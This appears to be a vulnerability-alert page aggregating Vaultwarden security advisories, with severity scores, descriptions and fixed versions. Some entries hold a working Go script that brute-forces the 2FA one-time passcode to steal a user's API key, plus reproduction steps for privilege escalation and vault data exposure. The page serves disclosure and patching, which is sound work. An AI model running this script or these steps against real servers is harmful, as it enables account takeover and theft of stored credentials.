Where
-Infinity
0

Vendor Risk Score

See how dani-garcia compares to other vendors in security performance

View Risk Score →
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vaultwarden is a Bitwarden-compatible server written in Rust. In versions 1.35.4 and earlier, the WebAuthn authentication flow in validatewebauthnlogin() updates persistent credential metadata (1backupeligible1 and 1backupstate flags1) based on unverified authenticatorData before signature validation is performed. An attacker who knows a user's password but cannot produce a valid WebAuthn signature can permanently modify the stored backup flags for that user's credential. If signature verification fails, the database update is not rolled back. This can result in a persistent denial of service of WebAuthn two-factor authentication for affected credentials. This issue has been fixed in version 1.35.5.

First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vaultwarden is a Bitwarden-compatible server written in Rust. In version 1.35.4 and earlier, the getorgcollectionsdetails endpoint (GET /api/organizations/{orgid}/collections/details) is missing the hasfullaccess() authorization check that exists on the sibling getorgcollections endpoint. This allows any Manager-role user with accessAll=False and no collection assignments to retrieve the names, UUIDs, user-to-collection mappings, and group-to-collection mappings for all collections in the organization. This issue has been fixed in version 1.35.5.

First published (updated )
Severity
8.1
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's securitystamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden does not enforce that a groupsusers.usersorganizationsuuid entry belongs to the same organization as groups.groupsuuid, or a collectionsgroups.collectionsuuid entry belongs to the same organization as collectionsgroups.groupsuuid. Multiple organization group-management endpoints accept arbitrary MembershipId and CollectionId values and persist them directly without verifying org consistency. This lets an attacker who is Admin in Organization A, and only a low-privileged member in Organization B bind their Org B membership UUID into an Org A group, then use that foreign group relationship to gain unauthorized access to Org B vault data. With an accessAll=true Org A group, the attacker can make /api/sync and /api/ciphers enumerate Org B ciphers. Once those unauthorized sync results reveal Org B collection IDs, the attacker can also bind those foreign collection IDs to the Org A group and turn the same flaw into write access over Org B items. This vulnerability is fixed in 1.35.5.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, Vaultwarden allows an unconfirmed organization owner to purge the entire organization vault. The organization invite flow uses a two-step process: accepting an invite transitions membership from Invited to Accepted, and a separate confirmation by an existing owner upgrades it to Confirmed. The POST /api/ciphers/purge endpoint uses plain Headers and only checks that the membership type is Owner without verifying that the membership status is Confirmed. An authenticated user who has been invited as an organization owner and has accepted the invite and has not yet been confirmed can call this endpoint to hard-delete all ciphers and attachments in the organization, causing immediate organization-wide data loss. This vulnerability is fixed in 1.35.5.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.4, there is a security vulnerability in Vaultwarden that allows bypassing the login brute-force protection if email 2fa is enabled. If email 2fa is enabled, the unprotected 2fa-function sendemaillogin (email.rs, api endpoint /api/two-factor/send-email-login) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. This vulnerability is fixed in 1.35.4.

First published (updated )
Severity
6
EPSS
0.03%
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Vaultwarden v1.34.3 and prior are susceptible to a 2FA bypass when performing protected actions. An attacker who gains authenticated access to a user’s account can exploit this bypass to perform protected actions such as accessing the user's API key or deleting the user's vault and organisations the user is an admin/owner of.

Note that

Details

Within Vaultwarden, the PasswordOrOtpData struct is used to gate certain protected actions such as account deletion behind a 2FA validation. This validation requires the user to either re-enter their master password, or to enter a one-time passcode sent to their email address.

By default, the one-time passcode is comprised of six digits, and the expiry time for each token is ten minutes. The validation of this one-time passcode is performed by the following function:

rust pub async fn validateprotectedactionotp( otp: &str, userid: &UserId, deleteifvalid: bool, conn: &mut DbConn, ) -> EmptyResult { let pa = TwoFactor::findbyuserandtype(userid, TwoFactorType::ProtectedActions as i32, conn) .await .mapres("Protected action token not found, try sending the code again or restart the process")?; let mut padata = ProtectedActionData::fromjson(&pa.data)?;

padata.addattempt(); // Delete the token after x attempts if it has been used too many times // We use the 6, which should be more then enough for invalid attempts and multiple valid checks if padata.attempts > 6 { pa.delete(conn).await?; err!("Token has expired") }

// Check if the token has expired (Using the email 2fa expiration time) let date = DateTime::fromtimestamp(padata.tokensent, 0).expect("Protected Action token timestamp invalid.").naiveutc(); let maxtime = CONFIG.emailexpirationtime() as i64; if date + TimeDelta::tryseconds(maxtime).unwrap() < Utc::now().naiveutc() { pa.delete(conn).await?; err!("Token has expired") }

if !crypto::cteq(&padata.token, otp) { pa.save(conn).await?; err!("Token is invalid") }

if deleteifvalid { pa.delete(conn).await?; }

Ok(()) }

Since the one-time passcode is only six-digits long, it has significantly less entropy than a typical password or secret key. Hence, Vaultwarden attempts to prevent brute-force attacks against this passcode by enforcing a rate limit of 6 attempts per code. However, the number of attempts made by the user is not persisted correctly.

In the validateprotectedactiontop function, Vaultwarden first reads the OTP data from a JSON blob stored in pa.data. The resulting ProtectedActionData structure is then a deserialised copy of the underlying JSON value.

rust let mut padata = ProtectedActionData::fromjson(&pa.data)?;

Next, Vaultwarden calls padata.addattempt() in order to increment the number of attempts made by one. This increments the attempt count on the local structure, but does not modify the value of the pa.data.

rust pub fn addattempt(&mut self) { self.attempts += 1; }

Finally, if the OTP validation fails, Vaultwarden attempts to persist the updated attempt count by calling pa.save(conn). However since we only modified a copy of pa.data, the value of pa.data.attempts remains at zero.

The probability of a successful brute force depends on the OTP token length, the OTP expiry duration, and the request throughput. Since each request issued by the attacker does not depend on any previous requests, network latency is not a factor. The bottleneck then, will likely be either the attacker&rsquo;s network bandwidth or Vaultwarden&rsquo;s request processing throughput. From local testing, rates of up to 2500 requests per second were achievable, which successfuly bruteforced the OTP in 3 minutes.

If the attacker&rsquo;s request throughput is low, they can also make repeated requests to /api/accounts/request-otp to generate new tokens. Their probability of success is then

math 1 - \left(1 - \frac{R T}{10^L}\right)^n,

where $R$ is the number of requests per second, $T$ is the token expiry time in seconds, $L$ is the number of digits in the OTP code, and $n$ is the number of OTP tokens requested.

<a id="orgca0bfe5"></a>

Proof of Concept

The easiest method of demonstrating this vulnerability is by making an (authenticated) request to the /api/accounts/request-otp endpoint to generate an OTP, and then repeatedly sending invalid guesses to /api/accounts/verify-otp. After six guesses, Vaultwarden will still reply "Token is invalid" in response to an incorrect guess, rather than "Token has expired" as expected when the rate limit is exceeded. Upon entering the correct OTP, the code will still validate despite more than six guesses being made.

For a more practical example, the following Go script will brute force the OTP in order to read the user&rsquo;s API key.

go package main

import ( "bytes" "context" "crypto/tls" "encoding/json" "fmt" "io" "log" "net/http" "sync" "sync/atomic" "time" )

const ( host = "https://10.10.0.1:8000" jwtToken = "..." concurrency = 100 totalOtps = 1000000 )

type Brute struct { client http.Client }

func NewBrute() Brute { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } return &Brute{ client: &http.Client{Transport: tr}, } }

func (v Brute) RequestOTP() error { req, err := http.NewRequest("POST", host+"/api/accounts/request-otp", nil) if err != nil { return fmt.Errorf("failed to create OTP request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken)

resp, err := v.client.Do(req) if err != nil { return fmt.Errorf("failed to send OTP request: %w", err) } defer resp.Body.Close()

if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusBadRequest { return fmt.Errorf("unexpected status code for OTP request: %d", resp.StatusCode) }

fmt.Println("Requested OTP successfully") return nil }

func (v Brute) GetAPIKey(ctx context.Context, otp string) (bool, error) { payload, := json.Marshal(map[string]string{"otp": otp}) body := bytes.NewBuffer(payload)

req, err := http.NewRequestWithContext(ctx, "POST", host+"/api/accounts/api-key", body) if err != nil { return false, fmt.Errorf("failed to create verification request: %w", err) } req.Header.Set("Authorization", "Bearer "+jwtToken) req.Header.Set("Content-Type", "application/json")

resp, err := v.client.Do(req) if err != nil { return false, err } defer resp.Body.Close()

switch resp.StatusCode { case http.StatusOK: body, err := io.ReadAll(resp.Body) if err == nil { fmt.Println("\n-----\n" + string(body) + "\n-----\n") } return true, nil case http.StatusBadRequest: return false, nil default: return false, fmt.Errorf("unexpected status code for verification: %d", resp.StatusCode) } }

func progressTracker(ctx context.Context, counter uint64, start time.Time) { ticker := time.NewTicker(300 time.Millisecond) defer ticker.Stop()

for { select { case <-ctx.Done(): done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs\n", done, totalOtps, float64(done)/float64(totalOtps)100, rps, elapsed) return case <-ticker.C: done := atomic.LoadUint64(counter) elapsed := time.Since(start).Seconds() rps := 0.0 if elapsed > 0 { rps = float64(done) / elapsed } fmt.Printf("\rprogress: %d/%d (%.2f%%) | %.2f req/sec | elapsed: %.1fs", done, totalOtps, float64(done)/float64(totalOtps)100, rps, elapsed) } } }

func main() { brute := NewBrute() if err := brute.RequestOTP(); err != nil { log.Fatalf("Error: %v", err) }

ctx, cancel := context.WithCancel(context.Background()) defer cancel()

var wg sync.WaitGroup var counter uint64 startTime := time.Now()

go progressTracker(ctx, &counter, startTime)

chunkSize := totalOtps / concurrency for i := 0; i < concurrency; i++ { start := i chunkSize end := start + chunkSize if i == concurrency-1 { end = totalOtps }

wg.Add(1) go func(s, e int) { defer wg.Done() for otpNum := s; otpNum < e; otpNum++ { select { case <-ctx.Done(): return default: }

otpStr := fmt.Sprintf("%06d", otpNum) success, err := brute.GetAPIKey(ctx, otpStr)

atomic.AddUint64(&counter, 1)

if err != nil { select { case <-ctx.Done(): default: log.Printf("\nError verifying OTP %s: %v", otpStr, err) cancel() } return }

if success { fmt.Printf("\n\nSuccess: Found OTP = %s\n", otpStr) cancel() return } } }(start, end) }

wg.Wait() fmt.Println("Brute-force attempt finished.") } <img width="997" height="301" alt="image" src="https://github.com/user-attachments/assets/61486bb6-302b-4edb-87b7-d229bbd33380" />

Impact

An attacker who gains access to a user&rsquo;s account can exploit this bypass to perform protected actions such as accessing the user&rsquo;s API key or deleting the user&rsquo;s accounts and organisations.

Remediation

The simplest fix is to ensure the updated number of attempts is persisted by calling pa.data = padata.tojson() before calling pa.save(conn). However this still leaves open the possibility of an attacker requesting an OTP code, exhausting their six attempts and then requesting a new code to try. This attack succeeds with probability

math 1 - \left(1 - \frac{6}{10^L}\right)^n,

which becomes non-neglible as $n$ increases.

Therefore the best approach might be to enforce a delay like this, to ensure that all rate limits are ultimately tied back to time:

diff diff --git a/src/api/core/twofactor/protectedactions.rs b/src/api/core/twofactor/protectedactions.rs index 5e4a65be..aa9cb8f6 100644 --- a/src/api/core/twofactor/protectedactions.rs +++ b/src/api/core/twofactor/protectedactions.rs @@ -66,7 +66,18 @@ async fn requestotp(headers: Headers, mut conn: DbConn) -> EmptyResult { if let Some(pa) = TwoFactor::findbyuserandtype(&user.uuid, TwoFactorType::ProtectedActions as i32, &mut conn).await { - pa.delete(&mut conn).await?; + let padata = ProtectedActionData::fromjson(&pa.data)?; + let tokensent = DateTime::fromtimestamp(padata.tokensent, 0) + .expect("Protected Action token timestamp invalid") + .naiveutc(); + let elapsed = Utc::now().naiveutc() - tokensent; + let delay = TimeDelta::seconds(20); + + if elapsed < delay { + err!(format!("Please wait {} seconds before requesting another code.", (delay - elapsed).numseconds())); + } else { + pa.delete(&mut conn).await?; + } }

let generatedtoken = crypto::generateemailtoken(CONFIG.emailtokensize()); @@ -131,6 +142,7 @@ pub async fn validateprotectedactionotp( }

if !crypto::cteq(&padata.token, otp) { + pa.data = padata.tojson(); pa.save(conn).await?; err!("Token is invalid") }

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A Manager account (accessall=false) was able to escalate privileges by directly invoking the bulk-access API against collections that were not originally assigned to them. The API allowed changing assigned=false to assigned=true, resulting in unauthorized access.

Additionally, prior to the bulk-access call, the regular single-update API correctly returned 401 Unauthorized for the same collection. After executing the bulk-access API, the same update API returned 200 OK, confirming an authorization gap at the HTTP level.

---

Description

The endpoint accepts ManagerHeadersLoose and does not validate access rights for the specified collectionIds. src/api/core/organizations.rs:551

rust headers: ManagerHeadersLoose,

The received collectionids are processed directly without per-collection authorization checks. src/api/core/organizations.rs:564

rust for colid in data.collectionids {

Existing group assignments for the collection are deleted. src/api/core/organizations.rs:583

rust CollectionGroup::deleteallbycollection(&colid, &conn).await?;

Existing user assignments for the collection are deleted. src/api/core/organizations.rs:590

rust CollectionUser::deleteallbycollection(&colid, &conn).await?;

By comparison, another bulk-processing endpoint performs per-collection validation using fromloose. src/api/core/organizations.rs:787

rust let headers = ManagerHeaders::fromloose(headers, &collections, &conn).await?;

The actual access control logic is implemented in canaccesscollection, which is not invoked in the bulk-access endpoint. src/auth.rs:911

rust if !Collection::canaccesscollection(&h.membership, colid, conn).await {

---

Preconditions

The attacker possesses a valid Manager account within the target organization. The organization contains collections that are not assigned to the attacker. The attacker can authenticate through the standard API login process (Owner/Admin privileges are not required).

---

Steps to Reproduce

1. Log in as a Manager and obtain a Bearer token. <img width="4016" height="1690" alt="image" src="https://github.com/user-attachments/assets/218f05e2-6a2e-4066-8f8d-6bbef1cc5858" />

2. Confirm the current values of assigned, manage, readOnly, and hidePasswords for the target collection. <img width="4026" height="1694" alt="image" src="https://github.com/user-attachments/assets/a6d2fc70-5370-4984-85bd-a6f74febdfa3" />

3. Verify that the standard update API returns 401 Unauthorized when attempting to modify the unassigned collection. <img width="4030" height="1708" alt="image" src="https://github.com/user-attachments/assets/802f0d2b-d474-44d2-beef-b4f7f3335225" />

4. Invoke the bulk-access API, including: <img width="4036" height="1120" alt="image" src="https://github.com/user-attachments/assets/1d3caa01-3ac2-4636-9ed0-189e5923c986" />

collectionIds containing the target collection users containing the attacker’s own membershipid Confirm that the API returns 200 OK.

5. Re-run the standard update API. Confirm that it now succeeds and that the previously unauthorized modification is applied. <img width="4040" height="1440" alt="image" src="https://github.com/user-attachments/assets/340e9676-d802-404c-b894-9986a176360a" />

---

Required Minimum Privileges

Manager role within the target organization (the issue occurs even when accessall=false)

---

Attack Scenario

A delegated administrator or department-level Manager within an organization directly calls the API to add themselves to unauthorized collections and gain access to confidential information.

Because the bulk update process deletes and reassigns existing permissions, the attacker can also remove other users’ access, enabling denial-of-service or sabotage within the organization.

---

Potential Impact

Confidentiality: Unauthorized access to sensitive information within restricted collections. Integrity: Unauthorized modification of collection permission settings and arbitrary changes to access controls. Availability: Deletion of existing assignments may cause legitimate users to lose access.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Testing confirmed that even when a Manager has manage=false for a given collection, they can still perform the following management operations as long as they have access to the collection:

PUT /api/organizations/<orgid>/collections/<colid> succeeds (HTTP 200) PUT /api/organizations/<orgid>/collections/<colid>/users succeeds (HTTP 200) DELETE /api/organizations/<orgid>/collections/<colid> succeeds (HTTP 200)

Description

The Manager guard checks only whether the user can access the collection, not whether they have manage privileges. This check is directly applied to management endpoints. src/auth.rs:816 rust

if !Collection::canaccesscollection(&headers.membership, &colid, &conn).await { errhandler!("The current user isn't a manager for this collection") }

The canaccesscollection function does not evaluate the manage flag. src/db/models/collection.rs:140

rust

pub async fn canaccesscollection(member: &Membership, colid: &CollectionId, conn: &DbConn) -> bool { member.hasstatus(MembershipStatus::Confirmed) && (member.hasfullaccess() || CollectionUser::hasaccesstocollectionbyuser(colid, &member.useruuid, conn).await || ...

A separate management-permission check exists and includes manage validation, but it is not used during authorization for the affected endpoints. src/db/models/collection.rs:516

rust

pub async fn ismanageablebyuser(&self, useruuid: &UserId, conn: &DbConn) -> bool { let Some(member) = Membership::findconfirmedbyuserandorg(useruuid, &self.orguuid, conn).await else { return false; }; if member.hasfullaccess() { return true; } ...

The actual update and deletion endpoints only accept ManagerHeaders and do not perform additional manage checks. src/api/core/organizations.rs:608

rust async fn putorganizationcollectionupdate(..., headers: ManagerHeaders, ...)

src/api/core/organizations.rs:890

rust async fn putcollectionusers(..., headers: ManagerHeaders, ...)

src/api/core/organizations.rs:747

rust async fn deleteorganizationcollection(..., headers: ManagerHeaders, ...)

Preconditions

The attacker is a Manager within the target organization. The attacker has access to the target collection (assigned=true). The attacker’s permission for that collection is manage=false. A valid API access token has been obtained.

Steps to Reproduce

1. Confirm that the attacker’s current permissions for the target collection include manage=false. <img width="2015" height="636" alt="image" src="https://github.com/user-attachments/assets/58ddc733-e37c-4766-a980-b1ea1918ceb4" />

2. As a control test, verify that update operations fail for collections the attacker cannot access. <img width="2021" height="852" alt="image" src="https://github.com/user-attachments/assets/d8699442-2dfc-4d73-8940-ec10f4a175f0" />

3. Confirm that update operations succeed for the target collection where manage=false. <img width="2013" height="690" alt="image" src="https://github.com/user-attachments/assets/33d9845d-d18e-456c-a58c-e780911347a9" />

4. Use PUT /collections/{colid}/users to set manage=true, confirming that the attacker can escalate their own privileges. <img width="2018" height="488" alt="image" src="https://github.com/user-attachments/assets/da8c5246-cf2a-46c2-9a25-e99d907f852d" />

5. Verify that deletion of the collection succeeds despite the Manager lacking management rights. <img width="2018" height="487" alt="image" src="https://github.com/user-attachments/assets/a97c8fb2-4f97-4c2a-a90b-9d95dbde84fd" />

Required Minimum Privileges

Organization Manager role (Owner/Admin privileges are not required) Works even with accessall=false Only access rights to the target collection are required (manage privilege is not required)

Attack Scenario

A restricted Manager (intended for read/use-only access) directly invokes the API to update collection settings, elevate their own privileges to manage=true, and even delete the collection.

This allows the user to bypass operational access restrictions and effectively gain administrator-equivalent control over the collection.

Potential Impact

Confidentiality: Expansion of access scope through unauthorized privilege escalation and configuration changes. Integrity: Unauthorized modification of collection settings and assignments; potential disabling of access controls. Availability: Deletion of collections may disrupt business operations.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Summary

In the test environment, it was confirmed that an authenticated regular user can specify another user’s cipherid and call:

PUT /api/ciphers/{id}/partial

Even though the standard retrieval API correctly denies access to that cipher, the partial update endpoint returns 200 OK and exposes cipherDetails (including name, notes, data, secureNote, etc.).

Description

putcipherpartial retrieves the target Cipher but does not perform ownership or access control checks before returning tojson. Authorization checks present in the normal update API are missing here. src/api/core/ciphers.rs:717

rust let Some(cipher) = Cipher::findbyuuid(&cipherid, &conn).await else { err!("Cipher doesn't exist") };

if let Some(ref folderid) = data.folderid { if Folder::findbyuuidanduser(folderid, &headers.user.uuid, &conn).await.isnone() { err!("Invalid folder", "Folder does not exist or belongs to another user"); } }

// Move cipher cipher.movetofolder(data.folderid.clone(), &headers.user.uuid, &conn).await?;

// Update favorite cipher.setfavorite(Some(data.favorite), &headers.user.uuid, &conn).await?;

Ok(Json(cipher.tojson(&headers.host, &headers.user.uuid, None, CipherSyncType::User, &conn).await?))

By comparison, the standard update API includes an explicit authorization check: src/api/core/ciphers.rs:688

rust if !cipher.iswriteaccessibletouser(&headers.user.uuid, &conn).await { err!("Cipher is not write accessible") }

The tojson method does not abort processing when access restrictions are not met; instead, it proceeds to construct and return a detailed response. src/db/models/cipher.rs:175

rust let (readonly, hidepasswords, ) = if synctype == CipherSyncType::User { match self.getaccessrestrictions(useruuid, ciphersyncdata, conn).await { Some((ro, hp, mn)) => (ro, hp, mn), None => { error!("Cipher ownership assertion failure"); (true, true, false) } } } else { (false, false, false) }; src/db/models/cipher.rs:335

rust let mut jsonobject = json!({ "object": "cipherDetails", "id": self.uuid, "type": self.atype, ... "name": self.name, "notes": self.notes, "fields": fieldsjson, "data": datajson, ... });

Preconditions

The attacker possesses a valid regular-user JWT (Bearer token). The attacker knows the target (victim) cipherid.

Steps to Reproduce

1. Prepare the attacker JWT and victim cipherid (preconditions). 2. Baseline check: confirm that standard retrieval is denied. <img width="2014" height="855" alt="image" src="https://github.com/user-attachments/assets/32b12cc9-3672-4a88-afd0-ef7715474662" />

3. Execute the vulnerable API. Confirm that 200 OK is returned and that cipherDetails includes fields such as id, name, notes, secureNote, etc. <img width="2018" height="1113" alt="image" src="https://github.com/user-attachments/assets/341b330c-8d55-4f06-a622-0d7da28f62fd" />

Potential Impact

Unauthorized disclosure of other users’ cipher information (confidentiality breach). Creation of unauthorized associations within the attacker’s user context (e.g., favorite or folder operations). The response from /api/ciphers/<cipherid>/partial includes attachments[].url.

In filesystem (FS) deployments, this returns a tokenized endpoint such as:

/attachments/<cipher>/<file>?token=...

In object storage deployments, it returns a short-lived pre-signed URL.

As a result, an attacker can use these URLs to directly download attachment data that they are not authorized to access.

This can lead to disclosure of sensitive information stored in the Vault, including personal data and authentication credentials. Such exposure may further result in account compromise, lateral movement, and other secondary impacts.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.01%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Prior to 1.35.3, a regular organization member can retrieve all ciphers within an organization, regardless of collection permissions. The endpoint /ciphers/organization-details is accessible to any organization member and internally uses Cipher::findbyorg to retrieve all ciphers. These ciphers are returned with CipherSyncType::Organization without enforcing collection-level access control. This vulnerability is fixed in 1.35.3.

First published (updated )
Severity
7.2
EPSS
0.04%
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Attacker with authenticated access to the vaultwarden admin panel can execute arbitrary code in the system. The attacker could then change some settings to use sendmail as mail agent but adjust the settings in such a way that it would use a shell command. It then also needed to craft a special favicon image which would have the commands embedded to run during for example sending a test email. This vulnerability is fixed in 1.33.0.

First published (updated )
Severity
8.1
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. Attacker can obtain owner rights of other organization. Hacker should know the ID of victim organization (in real case the user can be a part of the organization as an unprivileged user) and be the owner/admin of other organization (by default you can create your own organization) in order to attack. This vulnerability is fixed in 1.33.0.

First published (updated )
Severity
7.6
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

vaultwarden is an unofficial Bitwarden compatible server written in Rust, formerly known as bitwardenrs. In affected versions an attacker is capable of updating or deleting groups from an organization given a few conditions: 1. The attacker has a user account in the server. 2. The attacker's account has admin or owner permissions in an unrelated organization. 3. The attacker knows the target organization's UUID and the target group's UUID. Note that this vulnerability is related to group functionality and as such is only applicable for servers who have enabled the ORGGROUPSENABLED setting, which is disabled by default. This attack can lead to different situations: 1. Denial of service, the attacker can limit users from accessing the organization's data by removing their membership from the group. 2. Privilege escalation, if the attacker is part of the victim organization, they can escalate their own privileges by joining a group they wouldn't normally have access to. For attackers that aren't part of the organization, this shouldn't lead to any possible plain-text data exfiltration as all the data is encrypted client side. This vulnerability is patched in Vaultwarden 1.32.7, and users are recommended to update as soon as possible. If it's not possible to update to 1.32.7, some possible workarounds are: 1. Disabling ORGGROUPSENABLED, which would disable groups functionality on the server. 2. Disabling SIGNUPSALLOWED, which would not allow an attacker to create new accounts on the server.

First published (updated )
Severity
8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. A vulnerability has been identified in the authentication and authorization process of the endpoint responsible for altering the metadata of an emergency access. It permits an attacker with granted emergency access to escalate their privileges by changing the access level and modifying the wait time. Consequently, the attacker can gain full control over the vault (when only intended to have read access) while bypassing the necessary wait period.

First published (updated )
Severity
6.5
Infoleak
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. It lacks an offboarding process for members who leave an organization. As a result, the shared organization key is not rotated when a member departs. Consequently, the departing member, whose access should be revoked, retains a copy of the organization key. Additionally, the application fails to adequately protect some encrypted data stored on the server. Consequently, an authenticated user could gain unauthorized access to encrypted data of any organization, even if the user is not a member of the targeted organization. However, the user would need to know the corresponding organizationId. Hence, if a user (whose access to an organization has been revoked) already possesses the organization key, that user could use the key to decrypt the leaked data.

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

An issue was discovered in Vaultwarden (formerly BitwardenRS) 1.30.3. A stored cross-site scripting (XSS) or, due to the default CSP, HTML injection vulnerability has been discovered in the admin dashboard. This potentially allows an authenticated attacker to inject malicious code into the dashboard, which is then executed or rendered in the context of an administrator's browser when viewing the injected content. However, it is important to note that the default Content Security Policy (CSP) of the application blocks most exploitation paths, significantly mitigating the potential impact.

First published (updated )
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Vaultwarden v1.32.5 was discovered to contain an authenticated reflected cross-site scripting (XSS) vulnerability via the component /api/core/mod.rs.

First published (updated )
Severity
9.6
XSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

An HTML injection vulnerability in Vaultwarden prior to v1.32.5 allows attackers to execute arbitrary code via injecting a crafted payload into the username field of an e-mail message.

First published (updated )
Severity
9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

An issue in the component src/api/identity.rs of Vaultwarden prior to v1.32.5 allows attackers to impersonate users, including Administrators, via a crafted authorization request.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203